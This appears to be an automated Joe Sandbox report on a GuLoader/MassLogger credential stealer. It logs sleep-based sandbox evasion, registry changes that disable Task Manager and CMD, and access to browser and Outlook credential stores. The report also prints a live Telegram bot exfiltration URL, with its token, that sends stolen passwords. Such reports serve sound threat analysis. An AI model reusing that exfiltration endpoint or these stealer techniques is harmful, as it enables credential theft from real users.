Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594296	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594187	Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Window / User API: threadDelayed 1638			Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Window / User API: threadDelayed 8204			Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

API coverage: 3.2 %

Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 3668	Thread sleep count: 1638 > 30	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 3668	Thread sleep count: 8204 > 30	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -599435s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -598848s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -598633s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -598515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -598297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -598187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -597968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -597859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -597750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -597640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -597531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -597312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -597093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -596977s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -596749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -596640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -596531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -596421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -596304s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -596197s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -596075s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -595967s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -595750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -595627s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -595278s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -595172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -594843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -594625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -594515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -594406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -594296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe TID: 4684	Thread sleep time: -594187s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_00402868 FindFirstFileW,	5_2_00402868
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_0040672B FindFirstFileW,FindClose,	5_2_0040672B
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405AFA

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599435	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598848	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598633	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597968	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596977	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596304	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596197	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596075	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595967	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595627	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595278	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594296	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594187	Jump to behavior

Source: 4UQ5wnI389.exe, 00000005.00000002.2722332794.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh&s
Source: 4UQ5wnI389.exe, 00000005.00000002.2722332794.000000000472F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	API call chain: ExitProcess graph end node			graph_0-4589
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	API call chain: ExitProcess graph end node			graph_0-4746

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Code function: 0_2_70141B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70141B5F

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Process created: C:\Users\user\Desktop\4UQ5wnI389.exe "C:\Users\user\Desktop\4UQ5wnI389.exe"

Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Queries volume information: C:\Users\user\Desktop\4UQ5wnI389.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4UQ5wnI389.exe PID: 5624, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4UQ5wnI389.exe PID: 5624, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4UQ5wnI389.exe PID: 5624, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4UQ5wnI389.exe PID: 5624, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4UQ5wnI389.exe PID: 5624, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4UQ5wnI389.exe	75%	Virustotal		Browse
4UQ5wnI389.exe	58%	ReversingLabs	Win32.Trojan.GuLoader
4UQ5wnI389.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.78	true	false	high
drive.usercontent.google.com	216.58.206.33	true	false	high
reallyfreegeoip.org	104.21.112.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034F16000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000035038000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/w	4UQ5wnI389.exe, 00000005.00000002.2722332794.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	4UQ5wnI389.exe, 00000005.00000002.2722332794.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D48000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D2F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	4UQ5wnI389.exe, 00000005.00000003.2059854655.0000000004745000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000003.2059745395.000000000473F000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000003.2031235862.0000000004748000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2722332794.000000000473E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D24000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034F16000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000035038000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D2F000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034F16000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000035038000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D2F000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	4UQ5wnI389.exe	false	high
http://api.telegram.org	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034F16000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000035038000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034CB1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/7	4UQ5wnI389.exe, 00000005.00000003.2059854655.0000000004745000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000003.2059745395.000000000473F000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000003.2031235862.0000000004748000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2722332794.000000000473E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D2F000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.78	drive.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.112.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
216.58.206.33	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588102
Start date and time:	2025-01-10 21:23:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
